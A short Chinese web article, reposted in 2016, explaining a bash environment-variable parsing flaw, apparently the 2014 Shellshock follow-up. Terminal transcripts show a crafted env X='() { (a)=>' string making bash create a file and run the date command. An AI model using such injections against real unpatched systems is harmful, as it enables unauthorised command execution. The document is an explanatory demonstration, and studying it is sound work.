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一個(gè)linux下的bash安全漏洞

作者: 時(shí)間:2016-09-12 來源:網(wǎng)絡(luò) 收藏

  1. 通過設(shè)置一個(gè)特殊的環(huán)境變量的env,能間接地查到到linux命令的屬性,如下:

本文引用地址:http://m.ptau.cn/article/201609/304528.htm

  [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date

  ls: cannot access date: No such file or directory

  [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>' bash -c 'date'

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date

  -rw-rw-r--. 1 david david 0 Sep 27 13:01 date

  [2014-09-27 13:01:27 david@davidcchen ~]$

  2. 一次運(yùn)行環(huán)境變量。

  [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version

  zsh 4.3.10 (x86_64-redhat-linux-gnu)

  [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version

  GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)

  Copyright (C) 2009 Free Software Foundation, Inc.

  License GPLv3+: GNU GPL version 3 or later

  This is free software; you are free to change and redistribute it.

  There is NO WARRANTY, to the extent permitted by law.

  [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>' bash -c echo date; cat echo; rm echo

  bash: X: line 1: syntax error near unexpected token `='

  bash: X: line 1: `'

  bash: error importing function definition for `X'

  Sat Sep 27 13:03:52 CST 2014

  ---------->成功運(yùn)行date命令

  [2014-09-27 13:03:52 david@davidcchen ~]$



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